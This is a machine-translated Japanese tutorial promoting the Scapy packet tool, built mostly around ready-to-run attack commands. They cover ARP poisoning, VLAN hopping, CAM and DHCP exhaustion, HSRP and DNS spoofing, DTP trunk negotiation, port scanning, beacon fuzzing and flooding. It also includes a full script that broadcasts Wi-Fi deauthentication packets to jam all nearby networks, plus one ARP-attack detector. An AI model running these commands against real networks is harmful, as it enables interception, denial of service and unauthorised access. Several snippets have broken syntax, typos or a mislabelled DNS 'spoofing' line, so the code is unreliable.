Scapyの力

Scapyは、ネットワークパケットを作成および操作するためのツールです。 このプログラムは、Philippe Biondiによってpythonで書かれています。 ここで主な機能を知ることができます 。 Scapyは、ネットワークを操作し、情報セキュリティの分野で研究を行うための普遍的で真に強力なツールです。 この記事では、あなたの仕事/プロジェクトでscapyを使用することに興味を持っています。 これは、例を使用してscapyの主な利点を示すことで最もよく達成できると思います。

例として、私はscapyを使用して解決できる単純で例示的なタスクを取り上げます。 主な焦点は、特定の種類の攻撃を実装するためのパッケージの形成です。



ARPスプーフィング



>>> sendp(Ether(dst='targetMAC')/ARP(op='is-at', psrc='gatewayIP', pdst='targetIP', hwsrc='attackerMAC'))
      
      



このように形成されたパッケージは、arp targetIPキャッシュを「中毒」します。 scapyの最も強力な機能の1つは可視性です。つまり、何をしたいかを理解する必要があります。もちろん、これはいくつかの困難を引き起こす可能性がありますが、完全な画像を形成し、「足でのショット」から保護するのに役立ちます。 たとえば、このように形成されたパッケージを見ると、送信者のMACアドレスが変更されないため、ARPスプーフィングをポートセキュリティで修復できないことが明らかになります。この場合、arpインスペクションのみが私たちを救います。 ただし、scapyを使用して保護を実装してみましょう。 すべてのスイッチトラフィックを、分析するポートにミラ​​ーリングするとします。 コンピューターがarp要求を送信しなかった場合、arp応答も受信しないという原則に基づいて攻撃を検出することをお勧めします。



 import time from scapy.all import * arp_table = {} def arp_inspection(pkt): global arp_table op = pkt.getlayer(ARP).op #   op  ARP,     : >>> ls(ARP) src = pkt.getlayer(Ether).src #  src (MAC source)  Ethernet if op == 1: # op is who-has arp_table[src] = time.time() #  MAC      arp_table if op == 2: # op is is-at dst = pkt.getlayer(Ether).dst if dst in arp_table: time_arp_req = arp_table.pop(dst, None) #   dst  ,     arp_table if int(time.time() - time_arp_req) > 5: print "Alert! Attack from %s" % src else: print "Alert! Attack from %s" % src sniff(filter='arp', prn=arp_inspection)
      
      



スクリプトは埋め込みロジックを満たし、「cain&abel」などのプログラムはARPスプーフィングを静かに実行できません。 しかし、一部のオペレーティングシステムにはarp実装の機能があることがわかっています。つまり、arp要求が自分自身に関する情報を提供する要求とともにコンピューターに来ると、自動的にそれを信頼し、送信者ip-macの対応をテーブルに入力します。 つまり 次のパッケージもarpキャッシュをポイズニングします。



 >>> sendp(Ether(dst='targetMAC')/ARP(op='who-has', psrc='gatewayIP', pdst='targetIP'))
      
      



この場合、スクリプトは無効になります。 scapyでの作業では、プログラムだけでなく、プロトコル自体とそのロジックも学習することがわかります。



VLANフープ



 >>> send(Dot1Q(vlan=1)/Dot1Q(vlan=2)/IP(dst='targetIP')/ICMP()
      
      



scapyの次の利点は、柔軟性です。 典型的な例(柔軟性)は、隣接するVLANでARPスプーフィングを行う必要がある場合、新しいプログラムを作成する必要がない、パッケージを正しくビルドする必要がある場合です。



 >>> sendp(Ether(dst='clientMAC')/Dot1Q(vlan=1)/Dot1Q(vlan=2)/ARP(op='who-has', psrc='gatewayIP', pdst='clientIP'))
      
      



残念ながら、実装が成功した場合でも、一方向の通信が行われ、隣接するVLAN内のMITMの組織には「エージェント」が必要になります。



カムテーブルオーバーフロー



 >>> sendp(Ether(src=RandMAC())/IP(dst='gatewayIP')/ICMP(), loop=1)
      
      



RandMAC()-関数は、MACアドレスの形式で任意の値を返します。 ループパラメータ-ループを送信します。これにより、最終的にスイッチテーブルバッファが使い果たされます。 これはおそらく、いくつかの攻撃を実装する単純さの例です。



その他の例



さらに、ほとんど説明のない例を示します。それらは単純であり、おそらく、それらのいくつかは、あなたの仕事でscapyを使用するための出発点として役立つでしょう。 たとえば、DHCPプールの不足は次のとおりです。

 >>> sendp(Ether(src=RandMAC(),dst='ff:ff:ff:ff:ff:ff')/IP(src='0.0.0.0',dst='255.255.255.255')/UDP(sport=68,dport=67)/BOOTP(chaddr=RandMAC())/DHCP(options=[("message-type","discover"),"end"]), loop=1)
      
      





DNSスプーフィングはこのように実装されます。

 send(IP(dst='dnsserverIP'/UDP(dport=53)/DNS(qd=DNSQR(qname="google.com")))
      
      





HSRPスプーフィング

 sendp(Ether(src='00:00:0C:07:AC:02', dst='01:00:5E:00:00:02' )/IP(dst='224.0.0.2', src='attacerIP', ttl=1)/UDP()/HSRP(priority=230, virtualIP='virtualIP'), inter=3, loop=1)
      
      



src mac-HSRP仮想MAC(可能な範囲00:00:0C:9F:F0:00-00:00:0C:9F:FF:FF); dst mac-IP v4マルチキャストMAC(可能な範囲01:00:5E:00:00:00-01:00:5E:00:00:FF); ip dst-ipv4マルチキャストアドレス(224.0.0.0/24); priority-ルートの優先順位、0〜255の値。 inter = 3-シスコ機器のデフォルト間隔による。 他のすべての設定は、Cisco機器のデフォルト設定に似ています。 このようなパッケージにより、attacerIPがアクティブなHSRPルートになります。

ポートをスキャンするさまざまな方法。

 >>> res = sr1(IP(dst='targetIP')/TCP(dport=443, flags="S")) # SYN >>> res = sr1(IP(dst='targetIP')/TCP(dport=443, flags="A")) # ACK >>> res = sr1(IP(dst='targetIP')/TCP(dport=443, flags="FPU")) # Xmas
      
      



この方法で結果を表示できます。

 if res.getlayer(TCP).flags == 0x12: print "Open" elif res.getlayer(TCP).flags == 0x14: print "Close"
      
      



またはそう。

 >>> res, unres = sr(IP(dst='targetIP')/TCP(dport=[443, 80, 22], flags="S")) >>> res.summary(lambda(s,r): r.sprintf("%TCP.sport% \t %TCP.flags%") https RA www SA ssh RA
      
      





scapyの次の利点は、プロトコルを自分で作成できることですDTPプロトコルは標準セットの一部として実装されていませんが、モジュールとしてダウンロードできます。



 >>> load_contrib('dtp')
      
      



DTPの危険性は、スイッチポートをトランクモードにして、拡張アクセスを取得できることです。 モジュールのソースコードを見ると、インターフェイスでトランクモードを有効にするのに役立つ関数があります。



 def negotiate_trunk(iface=conf.iface, mymac=str(RandMAC())): print "Trying to negotiate a trunk on interface %s" % iface p = Dot3(src=mymac, dst="01:00:0c:cc:cc:cc")/LLC()/SNAP()/DTP(tlvlist=[DTPDomain(),DTPStatus(),DTPType(),DTPNeighbor(neighbor=mymac)]) sendp(p)
      
      



DTPプロトコルのロードに加えて、negotiate_trunk関数をロードし、インタープリターコンソールから直接実行することができます。結果はすぐに来るでしょう。

 >>> negotiate_trunk()
      
      





802.11



Scapyはワイヤレスネットワークで正常に機能します。ほとんどの機能はAircrack-ngを置き換えることができます。 たとえば、次のように使用可能なネットワークのリストを表示できます。



 from scapy.all import * ap_list = [] def ssid(pkt) : if pkt.haslayer(Dot11) : #       802.11 if pkt.type == 0 and pkt.subtype == 8: # type 0 subtype 8 -   Beacon (   ) if pkt.addr2 not in ap_list: ap_list.append(pkt.addr2) print "AP: %s SSID: %s" % (ptk.addr2, ptk.info) sniff(iface='mon0', prn=ssid)
      
      



とても簡単です。もっと複雑なものにしましょう。 制御されたエリアでのワイヤレスデバイスの動作を防止するタスクを担当しているとします。 無線マフラーに頼らない場合、これを整理する方法は? 1つのオプションは、ユーザーデバイスの操作を抑制することです。 これは、パッケージをDeauthクライアントに送信することで調整できます。

認証解除パケットをブロードキャストするスクリプト
 from scapy.all import * import random, time, sys from multiprocessing import Process iface='mon0' def wifi_snif(): pkt = sniff(iface=iface, timeout=1, lfilter= lambda x: x.haslayer(Dot11Beacon) or x.haslayer(Dot11ProbeResp)) u_pkt = [] u_addr2 = [] for p in pkt: if p.addr2 not in u_addr2: u_pkt.append(p) u_addr2.append(p.addr2) return u_pkt def deauth(pkt): os.system("iw dev %s set channel %d" % (iface, ord(pkt[Dot11Elt:3].info))) #     sendp(RadioTap()/Dot11(type=0, subtype=12, addr1="ff:ff:ff:ff:ff:ff", addr2=pkt.addr2, addr3=pkt.addr3)/Dot11Deauth(),count=4, iface=iface, verbose=0) def chg_cnl(): while True: cnl = random.randrange(1,12) os.system("iw dev %s set channel %d" % (iface, cnl)) time.sleep(0.3) def main_fnc(): p = Process(target=chg_cnl) p.start() pkt_ssid = wifi_snif() p.terminate() for pkt in pkt_ssid: deauth(pkt) while 1: main_fnc()
      
      





初心者の研究者はプロトコルファジングタスクへのアプローチを簡素化できます; scapyは最も単純な機能を実装します。 たとえば、ビーコンパケットの最も単純なファジングは次のようになります。

 >>>sendp(RadioTap(version=0, pad=0)/ Dot11(addr1='ff:ff:ff:ff:ff:ff', addr2='00:c0:ca:76:3d:33', addr3='00:c0:ca:76:3d:33')/ Dot11Beacon(cap="ESS") / fuzz(Dot11Elt(ID="SSID"))/ fuzz(Dot11Elt(ID="Rates")/ fuzz(ID="DSset"))/ fuzz(Dot11Elt(ID="TIM")), iface="mon0", count=10, inter=0.05, verbose=0)
      
      







負荷試験



例のリストの最後ですが、値による最後からはほど遠いので、scapyを使用して通信チャネルの負荷テストを行います。 私はこの問題の専門家ではなく、おそらく生成されるトラフィックの量は最も重要なパラメーターではありませんが、それでもです。 scapyでは、これは非常に多くのように単純に行われます。



 >>> sendpfast((Ether(dst='targetMAC')/IP(dst='targetIP')/ICMP('A'*100)*100, loop=1000)
      
      



コマンドを実行すると、同様の結果が表示されます。





トラフィックの受信側では、wiresharkの測定により送信者の番号が確認されます。







まとめ



そこで、利点をリストします。

1)可視性(何が起こるかを理解する)

2)柔軟性(パッケージは好きなように収集できます)

3)拡張性(独自のプロトコルの作成)

4)Python

私は自分の目標を達成できたと思いますし、必要であれば、あなたはそのようなツールの存在を思い出すでしょう。 この記事に興味がある場合は、scapyで独自のプロトコルを作成するための資料を作成(翻訳および適応)します。



PS

scapyの最新バージョンはscapy.netからダウンロードできます。 記事は公式のscapy 文書からの材料を使用しました。



All Articles